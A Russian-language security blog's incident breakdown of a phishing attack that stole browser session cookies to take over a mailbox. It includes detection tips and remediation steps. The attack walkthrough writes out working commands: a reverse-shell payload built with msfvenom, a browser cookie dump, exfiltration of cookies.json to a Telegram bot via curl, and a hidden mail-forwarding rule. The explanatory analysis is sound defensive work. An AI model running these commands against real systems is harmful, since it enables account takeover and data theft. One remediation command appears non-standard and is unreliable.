CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Сменили пароль, а утечка не остановилась: разбор атаки с кражей сессии браузера

Реальный кейс: обычное фишинговое письмо с «актом сверки» лишило компанию контроля над почтой на три недели — и смена пароля здесь была бесполезна. Разбираем техническую механику атаки и то, как её закрывали.

Разбор CIOlogia

Короткая версия истории звучит просто: пришло письмо, бухгалтер открыла вложение, конкурент начал узнавать условия тендеров раньше времени. Собственник сменил пароль от почты — это стандартная первая реакция на подозрение о взломе. Но утечка продолжалась ещё три недели. Разберём, почему смена пароля в этой ситуации была равносильна тому, чтобы поменять замок на входной двери, забыв, что грабитель уже сидит внутри с ключом от сейфа.

Что произошло технически

Вредонос из вложения не был классическим кейлоггером или паролекрадом в узком смысле. Он относится к классу infostealer / session hijacker — вредоносов, чья главная цель не пароль, а токен активной сессии: cookie, refresh-токен OAuth или сохранённый в браузере ключ авторизации. Именно так работают распространённые в 2023–2025 годах семейства вроде RedLine, Lumma, StealC, а также более узкоспециализированные инструменты группировок threat-actor-групп (в новостном инфоповоде это, например, набор, приписываемый группе TAG-195 с бэкдором ChonkyChicken).

Принцип один: после того как жертва открыла документ, вредонос:

  • получает закрепление в системе (persistence) — через задачу планировщика, автозагрузку или, что чаще в корпоративной среде, через вредоносное расширение браузера, установленное в обход политики или через подмену локальной политики Chrome/Edge;
  • читает файл профиля браузера — базу Cookies (SQLite) и Local State, где хранится ключ шифрования DPAPI;
  • расшифровывает и выгружает валидные сессионные cookie почтового веб-интерфейса (OWA, Gmail, корпоративный портал) на C2-сервер атакующего.

Как это эксплуатируется — по шагам

Ниже — типичная цепочка, воспроизводимая практически один в один в подобных инцидентах, с инструментами, которые для этого реально используются на этапах разведки, доставки и постэксплуатации.

1. Разведка почтового периметра

nmap -p 25,80,443,465,587,993 -sV mail.target-company.ru

PORT    STATE SERVICE VERSION
443/tcp open  https   Microsoft Exchange OWA
587/tcp open  smtp    Microsoft ESMTP
993/tcp open  imaps   Dovecot imapd

Дополнительно снимается баннер автодискавера, чтобы понять, какая почтовая платформа используется (Exchange Online, локальный Exchange, Google Workspace) — от этого зависит, какой сценарий персистентности после кражи сессии будет применяться дальше.

curl -s https://autodiscover.target-company.ru/autodiscover/autodiscover.xml \
  -H "Content-Type: text/xml"

2. Подготовка вложения

Для доставки чаще всего используется офисный документ с макросом или архив с LNK/HTA-загрузчиком, замаскированный под «акт сверки» или «счёт-фактуру» — тема выбирается под профиль компании (снабжение, тендеры). Пример генерации боевой нагрузки на этапе имитации атаки (red team):

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=203.0.113.10 LPORT=443 -f exe -o akt_sverki.exe

macro_pack.exe -t EXCEL -o -G akt_sverki.xlsm -i payload.ps1

В реальных атаках такого класса payload после запуска не сбрасывает классический meterpreter, а сразу разворачивает stealer-модуль и модуль для установки браузерного расширения через прямую запись в реестр (ключ ExtensionSettings/ExtensionInstallForcelist) или подмену профиля.

3. Кража сессии из браузера

Ключевой шаг — не украсть пароль, а вытащить уже расшифрованные cookie авторизации. Инструменты вроде SharpChrome (пакет GhostPack) или самописные PowerShell-скрипты делают это через DPAPI:

SharpChrome.exe cookies /browser:chrome /format:json > cookies.json

# Фрагмент вывода:
{
  "host": ".outlook.office.com",
  "name": "ESTSAUTHPERSISTENT",
  "value": "AwABAAAA...redacted...",
  "expires": "2025-05-01T10:00:00Z"
}

Токен ESTSAUTHPERSISTENT (или его аналог в других почтовых системах) — это именно тот «электронный пропуск», который продолжает действовать после смены пароля учётной записи, если сессию не отозвали принудительно.

4. Эксфильтрация и закрепление

Похищенные cookie и токены обычно уходят не на классический C2 с открытым IP, а через легитимные API-эндпоинты, которые не режутся корпоративными фильтрами — чаще всего Telegram Bot API:

curl -s -X POST "https://api.telegram.org/bot123456:AAExxx/sendDocument" \
  -F chat_id=987654321 \
  -F document=@cookies.json

После получения валидной сессии атакующий просто импортирует cookie в свой браузер (расширение EditThisCookie или headless Chrome с профилем) и заходит в почтовый веб-интерфейс жертвы без пароля и без MFA — сессия уже прошла аутентификацию.

5. Закрепление контроля — правило пересылки

Оказавшись внутри почтового ящика, атакующий не читает письма вручную каждый день — он ставит автоматическое правило пересылки на внешний адрес. В Exchange/M365 это делается одной командой, если есть доступ к сессии с правами пользователя:

New-InboxRule -Name "System Sync" -Mailbox buhgalter@target-company.ru `
  -ForwardTo "reports@external-domain.com" -DeleteMessage $false

Set-Mailbox buhgalter@target-company.ru `
  -ForwardingSmtpAddress reports@external-domain.com -DeliverToMailboxAndForward $true

Правило часто маскируется под нейтральным именем и не удаляет письма из ящика, поэтому пользователь ничего не замечает — переписка просто дублируется наружу.

Полутехнические пруфы: что искать в логах

  • Sign-in logs (Azure AD / Google Workspace admin console) — вход с нетипичного User-Agent (headless Chrome, отсутствие типичных заголовков реального браузера), «impossible travel» — вход из региона, где физически никого из сотрудников нет;
  • Exchange admin audit log — события New-InboxRule, Set-Mailbox с параметром ForwardingSmtpAddress, выполненные не администратором, а самим пользователем в нетипичное время;
  • Browser extension inventory — расширение без записи в официальном сторе, с broad-разрешением <all_urls> и правом чтения cookies ("permissions": ["cookies", "webRequest", "<all_urls>"] в manifest.json);
  • Сетевой трафик — исходящие HTTPS-запросы к api.telegram.org или к малоизвестным доменам с сертификатами Let's Encrypt, выпущенными за сутки до инцидента.

Что и почему сработало бы дальше

Если бы аудит не остановил цепочку на этом этапе, развитие атаки шло бы по предсказуемому сценарию:

  • из перехваченной переписки атакующий получает не только цены тендеров, но и контакты контрагентов — открывается возможность BEC-атаки (Business Email Compromise): письмо «от имени» бухгалтера с просьбой сменить реквизиты для оплаты;
  • украденная сессия часто даёт доступ не только к почте, но и к связанным SaaS-сервисам через SSO (1С-Отчётность, CRM, банк-клиент с email-подтверждением) — единая точка входа превращается в единую точку компрометации;
  • расширение в браузере, однажды закрепившееся, продолжает работать на любом сайте, куда заходит бухгалтер — включая клиент-банк и личный кабинет ФНС, если для входа используется тот же браузерный профиль.

Как закрыли дыру

Работа велась в два дня и включала не косметическую смену пароля, а полный отзыв доверия к скомпрометированной сессии и среде:

  1. Принудительный отзыв всех активных сессий и refresh-токенов на уровне идентити-провайдера:
    # Microsoft 365 / Entra ID
    Revoke-MgUserSignInSession -UserId buhgalter@target-company.ru
    
    # Google Workspace
    gam user buhgalter@target-company.ru signout
  2. Аудит и удаление скрытых правил пересылки во всех ящиках компании, а не только в одном:
    Get-Mailbox -ResultSize Unlimited | 
      Where-Object {$_.ForwardingSmtpAddress -ne $null} | 
      Select Name, ForwardingSmtpAddress
    
    Get-InboxRule -Mailbox * | 
      Where-Object {$_.ForwardTo -ne $null}
  3. Полное удаление вредоносного расширения и сброс профиля браузера, блокировка установки расширений через политику:
    # Групповая политика / Registry для Chrome
    [HKLM\SOFTWARE\Policies\Google\Chrome]
    "ExtensionInstallBlocklist"="*"
    "ExtensionInstallAllowlist"=["odbeighdgeidbjjnjjfoefndijmgejd"]
  4. Включение MFA с обязательным условным доступом (Conditional Access), блокирующим legacy-аутентификацию, которая как раз позволяет обходить MFA через украденные токены:
    New-ConditionalAccessPolicy -DisplayName "Block Legacy Auth" `
      -Conditions @{ClientAppTypes="exchangeActiveSync","other"} `
      -GrantControls @{BuiltInControls="block"}
  5. Настройка алертов о входе с нового устройства или необычного региона в мессенджер ру